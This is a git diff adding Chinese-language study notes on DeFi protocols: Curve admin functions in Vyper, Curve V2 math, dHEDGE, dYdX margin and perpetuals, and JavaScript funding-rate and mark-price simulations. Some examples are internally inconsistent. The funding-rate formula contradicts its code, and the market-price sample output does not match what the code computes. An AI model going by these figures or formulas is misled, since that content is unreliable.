+    assert msg.sender == self.owner  # dev: only owner
+
+    current_A: uint256 = self._A()
+    self.initial_A = current_A
+    self.future_A = current_A
+    self.initial_A_time = block.timestamp
+    self.future_A_time = block.timestamp
+    # now (block.timestamp < t1) is always False, so we return saved A
+
+    log StopRampA(current_A, block.timestamp)
+```
+
+#### fee's adjustment
+
+fee 和 admin fee 的调整
+
+1. 管理员提交调整方案 `commit_new_fee()`
+   - 如果期间有其他待执行的方案，将不能提交
+   - `assert self.admin_actions_deadline == 0`
+   - 自动设置最早执行时间为 `block.timestamp + ADMIN_ACTIONS_DELAY`
+   - ADMIN_ACTIONS_DELAY = 3 \* 86400 s 即等待期 3 天
+2. 在等待期过后，管理员执行 `apply_new_fee()` 让新的费率参数生效
+   - 根据 admin_actions_deadline 是否为零判断当前是否有待执行方案
+   - `assert self.admin_actions_deadline != 0`
+3. 等待期间，管理员可调用 `revert_new_parameters()` 取消调整方案
+
+```python
+@external
+def commit_new_fee(_new_fee: uint256, _new_admin_fee: uint256):
+    assert msg.sender == self.owner  # dev: only owner
+    assert self.admin_actions_deadline == 0  # dev: active action
+    assert _new_fee <= MAX_FEE  # dev: fee exceeds maximum
+    assert _new_admin_fee <= MAX_ADMIN_FEE  # dev: admin fee exceeds maximum
+
+    deadline: uint256 = block.timestamp + ADMIN_ACTIONS_DELAY
+    self.admin_actions_deadline = deadline
+    self.future_fee = _new_fee
+    self.future_admin_fee = _new_admin_fee
+
+    log CommitNewFee(deadline, _new_fee, _new_admin_fee)
+
+
+@external
+def apply_new_fee():
+    assert msg.sender == self.owner  # dev: only owner
+    assert block.timestamp >= self.admin_actions_deadline  # dev: insufficient time
+    assert self.admin_actions_deadline != 0  # dev: no active action
+
+    self.admin_actions_deadline = 0
+    fee: uint256 = self.future_fee
+    admin_fee: uint256 = self.future_admin_fee
+    self.fee = fee
+    self.admin_fee = admin_fee
+
+    log NewFee(fee, admin_fee)
+
+
+@external
+def revert_new_parameters():
+    assert msg.sender == self.owner  # dev: only owner
+
+    self.admin_actions_deadline = 0
+```
+
+#### ownership
+
+移交合约 owner。与手续费调整类似，先提交方案，等待期过后，才能执行方案。
+
+```python
+@external
+def commit_transfer_ownership(_owner: address):
+    assert msg.sender == self.owner  # dev: only owner
+    assert self.transfer_ownership_deadline == 0  # dev: active transfer
+
+    deadline: uint256 = block.timestamp + ADMIN_ACTIONS_DELAY
+    self.transfer_ownership_deadline = deadline
+    self.future_owner = _owner
+
+    log CommitNewAdmin(deadline, _owner)
+
+
+@external
+def apply_transfer_ownership():
+    assert msg.sender == self.owner  # dev: only owner
+    assert block.timestamp >= self.transfer_ownership_deadline  # dev: insufficient time
+    assert self.transfer_ownership_deadline != 0  # dev: no active transfer
+
+    self.transfer_ownership_deadline = 0
+    owner: address = self.future_owner
+    self.owner = owner
+
+    log NewAdmin(owner)
+
+@external
+def revert_transfer_ownership():
+    assert msg.sender == self.owner  # dev: only owner
+
+    self.transfer_ownership_deadline = 0
+```
+
+#### admin_fee withdraw and donate
+
+提取和捐赠 admin_fee
+
+- `withdraw_admin_fees()` 提取协议费，将每种资产分别转给调用者（管理员）
+
+  - admin_fee 的数量没有专门的字段存储，而是通过 合约持有的总量 - 流动性提供者持有的总量(balances) 获得
+  - `ERC20(coin).balanceOf(self) - self.balances[i]`
+
+- `donate_admin_fees()` 将未提取的协议费全部捐赠给池子的流动性提供者
+  - `self.balances[i] = ERC20(self.coins[i]).balanceOf(self)`
+  - 上述操作实质上是将协议费的数量清零，全部转移到 balances 上
+
+```python
+@view
+@external
+def admin_balances(i: uint256) -> uint256:
+    return ERC20(self.coins[i]).balanceOf(self) - self.balances[i]
+
+
+@external
+def withdraw_admin_fees():
+    assert msg.sender == self.owner  # dev: only owner
+
+    for i in range(N_COINS):
+        coin: address = self.coins[i]
+        value: uint256 = ERC20(coin).balanceOf(self) - self.balances[i]
+        if value > 0:
+            _response: Bytes[32] = raw_call(
+                coin,
+                concat(
+                    method_id("transfer(address,uint256)"),
+                    convert(msg.sender, bytes32),
+                    convert(value, bytes32),
+                ),
+                max_outsize=32,
+            )  # dev: failed transfer
+            if len(_response) > 0:
+                assert convert(_response, bool)
+
+
+@external
+def donate_admin_fees():
+    assert msg.sender == self.owner  # dev: only owner
+    for i in range(N_COINS):
+        self.balances[i] = ERC20(self.coins[i]).balanceOf(self)
+```
+
+#### kill_me
+
+- `kill_me()` 我杀我自己
+- `unkill_me()` 诶，我又不杀了
+
+当 `is_killed` 为 true 时，合约不能运行下列方法：
+
+- `add_liquidity()`
+- `exchange()`
+- `remove_liquidity_imbalance()`
+- `remove_liquidity_one_coin()`
+
+注意：`remove_liquidity` 是可以运行的，允许流动性提供者撤走流动性，但期间不能发生交易行为，即必须按照当前价格移除流动性。
+
+```python
+@external
+def kill_me():
+    assert msg.sender == self.owner  # dev: only owner
+    assert self.kill_deadline > block.timestamp  # dev: deadline has passed
+    self.is_killed = True
+
+
+@external
+def unkill_me():
+    assert msg.sender == self.owner  # dev: only owner
+    self.is_killed = False
+
+```
diff --git a/defi/Curve-V2/crvusd.md b/defi/Curve-V2/crvusd.md
new file mode 100644
index 000000000..fb3d4ebb0
--- /dev/null
+++ b/defi/Curve-V2/crvusd.md
@@ -0,0 +1,5 @@
+## Crvusd 
+
+## 参考链接
+Curve Stablecoin 非权威解读： https://paco0x.org/curve-stablecoin/
+From Uniswap v3 to crvUSD LLAMMA: https://0xreviews.xyz/
\ No newline at end of file
diff --git a/Learn-DEFI-Curve-V2/curve1.png b/defi/Curve-V2/curve1.png
similarity index 100%
rename from Learn-DEFI-Curve-V2/curve1.png
rename to defi/Curve-V2/curve1.png
diff --git a/defi/Curve-V2/readme.md b/defi/Curve-V2/readme.md
new file mode 100644
index 000000000..6ed2a150b
--- /dev/null
+++ b/defi/Curve-V2/readme.md
@@ -0,0 +1,116 @@
+# Curve V2
+
+## 原理
+**V2论文**
+https://curve.fi/files/crypto-pools-paper.pdf
+
+## V2改进
+
+v2 的 CryptoSwap 希望比 v1 StableSwap 更近一步，不仅仅只做锚定资产(例如稳定币或 ETH-sETH)之间的兑换。在 v1 中 D 的定义是在价格处于平衡点状态下：
+
+$\sum{x_i}=D$
+
+其中 `x_i` 代表 token 实际的数量(balance)，可以替换为 b 来表示。但由于 v2 中并不是相互锚定的资产，波动比较大，需要将定义中的数量 b 替换为价值 b'。
+
+我们引入一个内部缩放价格 p , 在代码中是 `price_scale`，令其作为锚定第一个资产的价格，例如 USDC-WBTC-WETH 池子，将会以 USDC 作为锚定标的，假设 WBTC 和 WETH 市价为 40000 和 3000 美元, 那么价格数组为 `[1, 40000, 3000]`。第一个价格始终是 1，因为该资产和自身锚定，比值永远是 1。
+
+价值 b' 的定义是数量乘以价格 $b'=bp$。
+
+我们将所有资产的数量和余额分别整合到一起，组成 2 个向量 b 和 b'，他们之间的转换关系如下
+
+$b=T(b',p)=(\frac{b'_0}{p_0},\frac{b'_1}{p_1},\frac{b'_2}{p_2}...)$
+
+$b'=T(b,p)=(b_0 p_0,b_1 p_1,b_2 p_2 ...)$
+
+
+v2 中对于 D 的定义如下
+
+$D=N x_{eq}$
+
+当池子价格处于平衡点时(例如首次注入流动性时)，每个资产的价值相等，其值为 `x_eq`
+
+虽然定义了基于 `x_eq` 给出了 D 的定义，但价格总在变化，大部分情况不在平衡点，我们很难去求出当时的 `x_eq`。所以代码中的 D 是根据平衡方程利用牛顿法求解。
+
+## V2方程
+
+curve v2 的平衡方程
+
+$KD^{N-1}\sum{x_i}+\prod{x_i}=KD^N+(\frac{D}{N})^N$
+
+其中 K 的定义与 v1 中的 A 不同
+
+$K_0=\frac{\prod{x_i}N^N}{D^N}$
+
+$K=AK_0\frac{\gamma^2}{(\gamma+1-K_0)^2}$
+
+A \* K_0 实际就是 v1 的系数 $\chi$
+
+$A*K_0=A\frac{\prod{x_i}N^N}{D^N}=\chi$
+
+v2 的系数 K 定义中多了关于 gamma 的调整系数
+
+$\frac{\gamma^2}{(\gamma+1-K_0)^2}$
+
+
+## reg
+
+每次交易产生的价格 `last_price` 经过时间加权组成一个预言机价格 `price_oracle`。
+
+`price_oracle` 预言机价格以时间加权的方式更新，即 EMA (Exponential Moving Average)
+
+price_oracle: $p^* = p_{last}(1-\alpha)+\alpha p^*_{prev}$
+
+只有当 LP 每单位收益超过之前收益的一半时，进行 repegging，反言之，跌到之前收益一半以下，将不进行价格调整。
+
+
+## Dynamic fees
+
+手续费从 v1 的固定费率，改为动态调整，手续费会根据调整系数 g，在 f_mid 和 f_out 之间波动，距离平衡点越远，手续费将越高。
+
+$g=\frac{\gamma_{fee}}{\gamma_{fee}+1-\frac{\prod{x_i}}{(\sum{x_i}/N)^N}}$
+
+$f=g \cdot f_{mid}+(1-g)\cdot f_{out}$
+## 预言机
+这里就要说到Curve V2一项最关键的改进，就是当代币市场价格偏离原聚合范围时，可以对流动性进行自动再平衡，重新构造一条适用于新价格的曲线。对于如何感知代币市场价格的变化，大多数项目会选择采用外部预言机，但外部预言机会存在被操纵的风险。
+
+Curve V2为了彻底杜绝预言机攻击的可能性，选择以内部数据作为参考价格，并将这种机制称为指数移动平均（exponentially moving average）预言机，简称EMA。这个EMA预言机提供的报价，是根据Curve的历史成交价以及最新的交易信息综合计算得出一种参考价格。这个参考价格有些类似于技术分析中的均线，将根据最新的成交价格进行动态调整，但在调整的同时也会保有一定的滞后性，以免在价格剧烈波动时过度频繁地触发再平衡机制。
+
+有了内部预言机提供的参考价格，系统便有了进行再平衡的触发依据。当EMA预言机报出的价格偏离原始价格超过一定范围后，协议便会自动对整条曲线的形状进行调整，使得流动性重新聚合于最新的交易价格附近。
+
+
+### 预言机
+
+- CurveV2 : https://www.yuque.com/docs/share/d902a3d4-f246-420c-b971-6487e38999dc#%20
+- anchorDao: https://medium.com/anchordao-lab/automated-market-maker-amm-algorithms-and-its-future-f2d5e6cc624a#18c4  
+
+
+
+**行业数据** 
+- https://curve.fi/
+
+- https://debank.com/
+
+- https://www.tokenterminal.com/
+
+- https://dune.xyz/hagaetc/dex-metrics
+
+**报道与研究报告**
+
+- 头等舱：Curve研究报告
+
+- 链闻：简明理解 Curve V2 原理：它与 Uniswap V3 流动性方案有何不同？
+
+- 链闻：多维度解析头部 AMM：Uniswap V3、Curve V2 与 Balancer V2
+
+- Rekt：Curve Wars
+
+- Messari：Valuation of Curve Finance: The Most Overlooked Protocol
+
+
+## 参考链接
+- V2论文：https://curve.fi/files/crypto-pools-paper.pdf
+- defi之道: https://mp.weixin.qq.com/s/50E5t1O4cxipnBpaao8ZxQ  
+- twitter: https://twitter.com/Kurt_M_Barry/status/1404496502240727041
+- curve总结：https://www.zvstus.com/article/news/1/75d87ffffe8454c353fd2a2a4e140000.html  
+
+
diff --git a/defi/DHEDGE/readme.md b/defi/DHEDGE/readme.md
new file mode 100644
index 000000000..016e85549
--- /dev/null
+++ b/defi/DHEDGE/readme.md
@@ -0,0 +1,14 @@
+# DHEDGE
+## priciple
+Non-custodial, decentralized asset management for synthetic assets on Ethereum
+- Non-custodial: users retain ownership over their funds, investment managers cannot run away with investor funds
+- decentralized asset management: dHEDGE aims to create a permissionsless, unstoppable protocol for asset management
+- synthetic assets on Ethereum: dHEDGE portfolios are powered by the Synthetix derivatives liquidity protocol
+
+
+**leaderboard**
+The dHEDGE Leaderboard is aiming to rank the best managers at the top based on risk-adjusted returns.
+
+## 参考链接
+
+- enzyme: https://app.enzyme.finance/depositor/leaderboard
diff --git a/defi/DYDX/README.md b/defi/DYDX/README.md
new file mode 100644
index 000000000..069e2b5f9
--- /dev/null
+++ b/defi/DYDX/README.md
@@ -0,0 +1,99 @@
+## DYDX
+
+### 白皮书
+[v1版白皮书：2018-6](https://whitepaper.dydx.exchange/)
+dydx 是最早成立并推出可用产品的去中心化期货交易所，为订单簿式Dex，交易者之间进行点对点交易，由做市商和多空双方交易者三方博弈。dydx架设在以太坊二层网络Starkware上，并采用了StarkEx交易引擎，实现了资产的去中心化自托管。dydx能够提供与中心化交易所接近的交易体验，也采用了与Cex相似的运营模式。目前其交易量为在交易挖矿的推动下衍生品Dex中第一。
+
+**特点**
+从交易组织方式看，它采用了订单簿式，由专业做市商进行做市，LP提供部分做市资金。  
+dydx产品体验良好，采用了以太坊二层网络项目Starkware开发的交易引擎StarkEx，实现了去中心化资产的自托管（用户将资金从钱包转到智能合约上进行托管），并且实现了低Gas和高交易速度。  
+
+### 功能
+杠杆倍率：dydx永续合约产品提供了最高25倍的多空两方交易功能，最小杠杆倍率变动为0.01。  
+
+订单簿/AMM:从交易结算形式来看，dydx永续合约是订单簿形式，由做市商提供流动性。
+
+限价/止损：dydx永续合约具备限价单和止损单功能，可以进行限价交易和止损止盈交易。
+
+保证金：BTC和ETH交易对，其最高杠杆倍数为25倍，因此初始保证金要求为4%，维持保证金要求为3%。其他交易对根据其最高杠杆倍率有不同的保证金要求。
+
+强平价格/清算价格：用于清算的标记价格是由Chainlink的二层价格喂送的指数价格。
+
+存款/取款：图2-3左上角显示了账户余额（Account），并有存款（Deposit）和取款（Withdraw）两个按钮，由于产品架设在二层网络StarkWare上，因此在dydx永续合约产品交易，需要存入资金后，在余额范围内进行交易，平仓后资金回到dydx账户内，需要进行取款才能回到交易者的以太坊钱包内。
+
+**资金费率**（１小时费率）：与其他的永续合约一样，dydx永续合约产品有资金费设计，每8小时收取一次，但其资金费率表示为１小时的费率，每８小时收取一次１小时费率（不将１小时费率乘以８），资金费率具体计算方式为：
+
+资金费（Premium）=（Max（0，出价冲击Impact Bit Price-指数价格）-Max（0，指数价格-卖价冲击Impact Ask Price））/指数价格
+
+交易费用：dydx上Maker（挂单者）和Taker（吃单者）费用不同，费率随交易量增大而递减，Maker的费率从0.05%到0,交易量达到10,000,000美元之后费率为0；Taker费率从0.2%到0.05%，交易量达到200,000,000美元后为0.05%。  
+
+Gas费用：由于在二层网络Starkware上运行，交易不需要支付Gas费用，但在存款/取款过程需要支付Gas。
+
+结算速度：实测非常顺滑，这是由于二层网络的性能优势，也由于用户资金已经托管到了StarkEx上。
+
+**二层方案** 
+dydx不仅是架设在二层网络上，而是使用Starkware项目方开发的StarkEx作为V2永续合约产品的交易引擎。
+交易和数据存储的方式分为两种，简单说是“交易数据要不要上链”，Starkware实际上两种都有（StarkNet和StarkEx分别属于这两种）  
+dydx所用的StarkEx产品采取的是数据不上链的方案。  
+Starkware采用的是有效性证明——这种“数据不上链+有效性证明”的方案称为Validium（不同于“数据上链”型的Rollup方案，比如另一知名项目的Arbitrum）。
+dydx不仅是架设在二层网络上，而是使用Starkware项目方开发的StarkEx作为V2永续合约产品的交易引擎。
+
+StarkEx：一种可扩展性引擎，由多个组件组成。
+
+组件：包括StarkEx Service（Stark交易服务）、SHARP、Stark Verifier（Stark验证器）和Stark Contract（Stark合约）等。
+
+dydx主要有永续合约交易和杠杆交易。
+## dydx保证金
+
+保证金交易：
+
+- 出借人通过合约签名一笔交易，指明自己愿意借出什么样的 token、借出多少数量、保证金多少、利息多少，然后就可以借款给别人做保证金交易了。这些借款的 offer 可以同步到链下的交易平台，在上面列出 order book。
+
+- 一个用户想要做保证金交易，通过向 dYdX 的智能合约发送一笔交易，指明自己要接受哪个借款、要借多少数量、指定一个未来把这些借贷来的 token（即 owed token）卖出换成另一个持有 token（即 held token）的买盘，来开始保证金交易。
+
+- 根据这笔交易，智能合约会把保证金从用户那里转移到合约内部，然后通过外部的去中心化交易所——比如0x——再把这些借贷来的 owed token 以指定的买盘价格卖出去换成 held token，然后合约会一直帮我们保管这些保证金，一边帮我们自动卖出 owed token 换成 held token，直到用户再次发来另一笔交易，指定卖盘结束这次保证金交易。
+
+### 代码解析
+[V1版代码](https://github.com/dydxprotocol/protocol_v1)
+在实现上，dYdX协议由三个主要的智能合约构成。  
+
+Margin contract：负责保证金交易的业务逻辑。
+Proxy contract：负责代表用户完成各种资产的转移。
+Vault contract：作为一个存储金库，帮用户托管保证金交易中的资产。
+具体原理可以看https://mp.weixin.qq.com/s/VF4JGW-XG3drUAelKbYySA  
+
+
+
+### 保证金交易和杠杆
+
+保证金（Margin）就是一个交易员手上可用的抵押品数量。一般来说，借入资金都需要用其它资产作为抵押，而且使用完之后还必须支付利息。
+
+杠杆（Leverage）就是利用保证金撬动起来的资金——如不借助杠杆，交易者就没有那么多购买力投入到更高价值的交易中。杠杆提高了交易者的潜在收益率，但同时也提高了风险。
+
+杠杆率实际上只是交易员风险资本的一个参数，决定了该交易员与平仓线的距离。
+
+### 全仓保证金模式（cross margin）
+全仓保证金模式是拿你放在 dYdX 账户中的所有资产作为抵押品。虽然表面上看起来风险更大，对交易者来说却有几个方面的好处。  
+
+
+### 逐仓保证金模式（isolated margin）
+
+逐仓保证金（isolated margin），名副其实，就是你专门 「分割」出了一部分资金、做了一个专门的杠杆合约，用在一项交易中。杆杆率决定了你需要投入多少保证金存款，而且，如果你被强制平仓，你分割出来的那部分资金就是你的损失上限了。
+
+优势：
+- 容易看出交易员动用的资金数量和每日收益（PNL）
+- 可以直接从钱包中交易
+- 适合短期投机
+
+
+
+
+## 参考链接
+- https://help.dydx.exchange/en/articles/4320633-why-should-someone-use-the-perpetual-vs-margin  永续跟杠杆差别
+- https://docs.dydx.community/dydx-governance/jiao-yi-jiao-cheng/ru-he-zai-dydx-shang-kai-kong-dan-zuo-kong/ru-he-zai-dydx-shang-kai-duo-dan-zuo-duo 操作文档  
+- https://www.chainnews.com/articles/669485806574.htm Validium介绍
+- https://www.chainnews.com/articles/906891466719.htm  全景式解读加密货币衍生品交易赛道  
+- https://mp.weixin.qq.com/s/VF4JGW-XG3drUAelKbYySA  橙皮书dydx保证金交易原理介绍
+- https://mp.weixin.qq.com/s/Jnm7eOunGyaiGVMPBzz70g stareware介绍
+- https://zhuanlan.zhihu.com/p/408601920 MEXC Exchange深度解析： DYDX产品机制、发展现状
+- https://www.defidaonews.com/article/6667253 从永续合约到合成资产，详解去中心化衍生品
diff --git a/defi/DYDX/funding-rate.md b/defi/DYDX/funding-rate.md
new file mode 100644
index 000000000..21b9fd5ac
--- /dev/null
+++ b/defi/DYDX/funding-rate.md
@@ -0,0 +1,107 @@
+以下是关于 **DYDX 永续合约的资金费率 (Funding Rate)** 部分的 JS 实现分析，它是永续合约的重要机制，用于保持合约价格与现货市场价格一致。
+
+### 资金费率 (Funding Rate) 简介
+
+资金费率是多头和空头之间周期性交换的费用。  
+它的计算基于以下公式：
+
+\[
+\text{Funding Rate} = \text{Index Price} - \text{Mark Price}
+\]
+
+- **Mark Price**：交易所计算的当前合约价格。
+- **Index Price**：现货市场的参考价格。
+
+资金费率正值时，多头支付空头；负值时，空头支付多头。
+
+---
+
+### 实现步骤
+以下是用 JavaScript 模拟资金费率的简单计算过程：
+
+#### 1. 数据初始化
+
+```javascript
+// 示例数据初始化
+const indexPrice = 1000; // 现货参考价格（美元）
+const markPrice = 1005;  // 永续合约标记价格（美元）
+const positionSize = 10; // 持仓量（单位合约数）
+const fundingInterval = 8; // 资金费率结算周期（每 8 小时一次）
+```
+
+#### 2. 计算资金费率
+
+```javascript
+function calculateFundingRate(indexPrice, markPrice) {
+    // 资金费率计算
+    const fundingRate = (markPrice - indexPrice) / indexPrice;
+    return fundingRate;
+}
+
+const fundingRate = calculateFundingRate(indexPrice, markPrice);
+console.log(`Funding Rate: ${(fundingRate * 100).toFixed(2)}%`);
+```
+
+#### 3. 计算资金费用
+
+```javascript
+function calculateFundingPayment(fundingRate, positionSize, markPrice) {
+    // 资金费用 = 资金费率 * 持仓量 * 标记价格
+    const fundingPayment = fundingRate * positionSize * markPrice;
+    return fundingPayment;
+}
+
+const fundingPayment = calculateFundingPayment(fundingRate, positionSize, markPrice);
+console.log(`Funding Payment: $${fundingPayment.toFixed(2)}`);
+```
+
+---
+
+### **完整代码**
+
+```javascript
+// 数据初始化
+const indexPrice = 1000; // 现货参考价格
+const markPrice = 1005;  // 永续合约标记价格
+const positionSize = 10; // 持仓量
+const fundingInterval = 8; // 每8小时资金费率结算
+
+// 计算资金费率
+function calculateFundingRate(indexPrice, markPrice) {
+    return (markPrice - indexPrice) / indexPrice;
+}
+
+// 计算资金费用
+function calculateFundingPayment(fundingRate, positionSize, markPrice) {
+    return fundingRate * positionSize * markPrice;
+}
+
+// 执行计算
+const fundingRate = calculateFundingRate(indexPrice, markPrice);
+console.log(`Funding Rate: ${(fundingRate * 100).toFixed(2)}%`);
+
+const fundingPayment = calculateFundingPayment(fundingRate, positionSize, markPrice);
+console.log(`Funding Payment: $${fundingPayment.toFixed(2)}`);
+```
+
+---
+
+### **示例输出**
+
+假设：
+- **Index Price** = $1000
+- **Mark Price** = $1005
+- **Position Size** = 10
+
+运行结果：
+```
+Funding Rate: 0.50%
+Funding Payment: $50.25
+```
+
+### **分析**
+- 资金费率为 **0.5%**，意味着多头需要每 8 小时支付持仓价值的 0.5%。
+- 持仓者需支付 **$50.25** 的资金费用。
+
+### **实际使用场景**
+在 DYDX 平台上，类似计算通过链上合约自动执行，并根据市场条件动态调整。该机制能有效平衡多空双方的资金成本，确保合约价格与现货价格的紧密锚定。
\ No newline at end of file
diff --git a/defi/DYDX/market-price.md b/defi/DYDX/market-price.md
new file mode 100644
index 000000000..b091da652
--- /dev/null
+++ b/defi/DYDX/market-price.md
@@ -0,0 +1,162 @@
+在 DYDX 永续合约中，价格计算是基于 **标记价格（Mark Price）** 和 **指数价格（Index Price）**，它们是维护合约公平性的核心组件。
+
+以下是如何通过 JavaScript 模拟 **DYDX 永续合约价格机制** 的分析和实现。
+
+### 1. **核心概念**
+
+- **指数价格 (Index Price)**：从现货市场获取的加权平均价格，反映某资产的市场公平价格。
+- **标记价格 (Mark Price)**：合约的实际交易价格，用于计算未实现盈亏（PnL）和强制平仓。
+- **基差 (Basis)**：标记价格和指数价格之间的差异，通常受供需影响。
+
+公式：
+\[
+\text{Mark Price} = \text{Index Price} + \text{Basis}
+\]
+
+### 2. **代码实现**
+
+以下是 JavaScript 模拟 DYDX 永续合约价格计算的代码示例。
+
+#### **Step 1: 初始化数据**
+
+```javascript
+// 初始化价格数据
+const indexPrice = 2000; // 指数价格，现货市场价格（USD）
+let basis = 10;          // 初始基差（USD）
+
+// 模拟标记价格计算
+function calculateMarkPrice(indexPrice, basis) {
+    return indexPrice + basis;
+}
+
+const markPrice = calculateMarkPrice(indexPrice, basis);
+console.log(`Mark Price: $${markPrice}`);
+```
+
+#### **Step 2: 模拟动态基差调整**
+
+基差会根据市场供需动态调整，以下代码演示如何实时计算新的标记价格。
+
+```javascript
+// 模拟基差动态调整
+function updateBasis(marketCondition) {
+    // 市场条件影响基差：市场多头占优，基差上升；空头占优，基差下降
+    if (marketCondition === "bullish") {
+        basis += 5; // 多头主导，基差增加
+    } else if (marketCondition === "bearish") {
+        basis -= 5; // 空头主导，基差减少
+    }
+    return basis;
+}
+
+// 模拟不同市场条件下的标记价格
+const marketConditions = ["bullish", "bearish", "neutral"];
+marketConditions.forEach((condition) => {
+    const updatedBasis = updateBasis(condition);
+    const updatedMarkPrice = calculateMarkPrice(indexPrice, updatedBasis);
+    console.log(`Market Condition: ${condition}`);
+    console.log(`Updated Mark Price: $${updatedMarkPrice}`);
+});
+```
+
+#### **Step 3: 实现未实现盈亏（PnL）计算**
+
+根据标记价格计算未实现盈亏，用于评估持仓的当前盈亏情况。
+
+```javascript
+// 计算未实现盈亏（PnL）
+function calculatePnL(entryPrice, markPrice, positionSize) {
+    // PnL = (标记价格 - 入场价格) * 持仓量
+    const pnl = (markPrice - entryPrice) * positionSize;
+    return pnl;
+}
+
+// 示例数据
+const entryPrice = 1980; // 持仓的入场价格
+const positionSize = 2;  // 持仓量（单位：合约）
+
+const pnl = calculatePnL(entryPrice, markPrice, positionSize);
+console.log(`Unrealized PnL: $${pnl.toFixed(2)}`);
+```
+
+---
+
+### **完整代码**
+
+```javascript
+// 初始化
+const indexPrice = 2000;
+let basis = 10;
+
+// 计算标记价格
+function calculateMarkPrice(indexPrice, basis) {
+    return indexPrice + basis;
+}
+
+// 更新基差
+function updateBasis(marketCondition) {
+    if (marketCondition === "bullish") {
+        basis += 5;
+    } else if (marketCondition === "bearish") {
+        basis -= 5;
+    }
+    return basis;
+}
+
+// 计算未实现盈亏
+function calculatePnL(entryPrice, markPrice, positionSize) {
+    return (markPrice - entryPrice) * positionSize;
+}
+
+// 模拟
+const markPrice = calculateMarkPrice(indexPrice, basis);
+console.log(`Initial Mark Price: $${markPrice}`);
+
+const marketConditions = ["bullish", "bearish", "neutral"];
+marketConditions.forEach((condition) => {
+    const updatedBasis = updateBasis(condition);
+    const updatedMarkPrice = calculateMarkPrice(indexPrice, updatedBasis);
+    console.log(`Market Condition: ${condition}`);
+    console.log(`Updated Mark Price: $${updatedMarkPrice}`);
+
+    const pnl = calculatePnL(1980, updatedMarkPrice, 2);
+    console.log(`Unrealized PnL: $${pnl.toFixed(2)}\n`);
+});
+```
+
+---
+
+### **示例输出**
+
+假设以下市场条件：
+- **初始指数价格**：$2000
+- **初始基差**：$10
+- **入场价格**：$1980
+- **持仓量**：2 合约
+
+运行结果：
+
+```
+Initial Mark Price: $2010
+Market Condition: bullish
+Updated Mark Price: $2020
+Unrealized PnL: $80.00
+
+Market Condition: bearish
+Updated Mark Price: $2010
+Unrealized PnL: $60.00
+
+Market Condition: neutral
+Updated Mark Price: $2010
+Unrealized PnL: $60.00
+```
+
+---
+
+### **分析总结**
+
+1. **动态基差**：市场条件直接影响基差，从而影响标记价格。
+2. **未实现盈亏 (PnL)**：通过标记价格计算持仓的浮动盈亏，帮助用户实时评估风险。
+3. **链上计算**：在 DYDX 平台，这些计算由智能合约实时进行，确保透明性和公平性。
+
+如果需要更复杂的分析（如多资产组合、自动强制平仓逻辑），可以扩展代码！
\ No newline at end of file
diff --git a/defi/DYDX/perpetual.md b/defi/DYDX/perpetual.md
new file mode 100644
index 000000000..fdca79246
--- /dev/null
+++ b/defi/DYDX/perpetual.md
@@ -0,0 +1,661 @@
+## DYDX Perpetual
+
+### 永续合约
+合约代码
+https://github.com/dydxprotocol/perpetual  
+文档：
+https://docs.dydx.exchange/#general
+
+### 代码解析
+
+#### 一、DYDX合约
+
+`// 全局 Storage  
+```
+contract P1Storage is  
+    Adminable,
+    ReentrancyGuard
+{
+    // 用户仓位：User => [marginIsp, positionIsp, margin, position]
+    mapping(address => P1Types.Balance) internal _BALANCES_;
+    A 1000U
+    B 1000U
+    Price 2000
+    A 开多 B 开空  1
+    A = {
+        false,
+        true,
+        1000,
+        1,
+    }
+    Pos = 
+    Neg = 
+    NetValue = 2000 - 1000 = 1000
+    B = {
+        true,
+        false,
+        3000,
+        1
+    }
+    NetValue = 3000 - 2000 = 1000
+    NetValue < 0   underwater  (Delevaerage 的 Maker)
+    NetValue = Pos - Neg * _MIN_COLLATERAL_ < 0 (Liquitaion 的 Maker)
+    // 用户自己的资金费率参数：User => [ts, isPositive, value]
+    // 单位Positon 的资金费率
+    mapping(address => P1Types.Index) internal _LOCAL_INDEXES_;
+    用户开仓时： 1000
+    收取的时候：1050
+    （1050 - 1000） * positon
+    // operator
+    // Trade时的 trader
+    mapping(address => bool) internal _GLOBAL_OPERATORS_;
+    // 用户自己设定的管理员   user - operator - true
+    mapping(address => mapping(address => bool)) internal _LOCAL_OPERATORS_;
+    **// Margin Token （保证金）    address internal _TOKEN_;**    // 预言机 地址
+    // 1、资金费率的结算
+    // 2、判定是否可以清算和underwarter
+    address internal _ORACLE_;
+    // 资金费率预言机 地址
+    // 预言机里读到速率  速率 * 时间
+    address internal _FUNDER_;
+    // 全局资金费率参数 [ts, isPositive, value]
+    P1Types.Index internal _GLOBAL_INDEX_;
+    // 1.01 * 1E18  负数比分乘以这个
+    uint256 internal _MIN_COLLATERAL_;
+    // True-关停，进行了总结算
+    bool internal _FINAL_SETTLEMENT_ENABLED_;
+    // 关停后-总结算的价格
+    uint256 internal _FINAL_SETTLEMENT_PRICE_;
+}
+// 结构体
+struct Index { //
+    uint32 timestamp; // 结算时间
+    bool isPositive; // 方向
+    uint128 value; // Margin维度的，  计算funding = (new-old) * position
+}
+struct Balance {
+    bool marginIsPositive; // margin的正负号  开多时可能有负值
+    bool positionIsPositive; // 仓位的正负号  负-空单  正-多单
+    uint120 margin; // 数量
+    uint120 position; // 数量
+}
+struct Context {
+    uint256 price; // Price * 1E18
+    uint256 minCollateral; // 1.001 * 1E18  类似这种
+    Index index;
+}
+struct TradeResult { // Trade以后返回的结构
+    uint256 marginAmount; // 保证金数量 2000
+    uint256 positionAmount; // 仓位数量 1
+    bool isBuy; // Taker方向
+    bytes32 traderFlags; // 1-交易  2-清算  4-去杠杆
+}`
+```
+
+## （一）Margin
+
+**1、存**
+
+`// 结算全局Funding - 结算用户Funding - 转账 - 修改用户Balance信息
+``` 
+function deposit(
+    address account,
+    uint256 amount
+)
+    external
+    noFinalSettlement // 正常运转_FINAL_SETTLEMENT_ENABLED_ 默认是false 检查时取反
+    nonReentrant
+{
+    // 先结算Funding  然后返回当前状态 [价格、最小抵押物限制、funding]
+    P1Types.Context memory context = _loadContext();
+    // 结算账户的资金费率，返回最新的Balance
+    P1Types.Balance memory balance = _settleAccount(context, account);
+    // 转账进来
+    SafeERC20.safeTransferFrom(
+        IERC20(_TOKEN_),
+        msg.sender,
+        address(this),
+        amount
+    );
+    // 增加到保证金
+    balance.addToMargin(amount);
+    // 写入
+    _BALANCES_[account] = balance;
+    emit LogDeposit(
+        account,
+        amount,
+        balance.toBytes32()
+    );
+}`
+
+**2、取**
+
+`// 确权 - 全局结算 - 用户结算 - 转出保证金 - 存储 - 检查抵押率
+function withdraw( 
+    address account,
+    address destination,
+    uint256 amount
+)
+    external
+    noFinalSettlement // 正常运转
+    nonReentrant
+{
+    require(
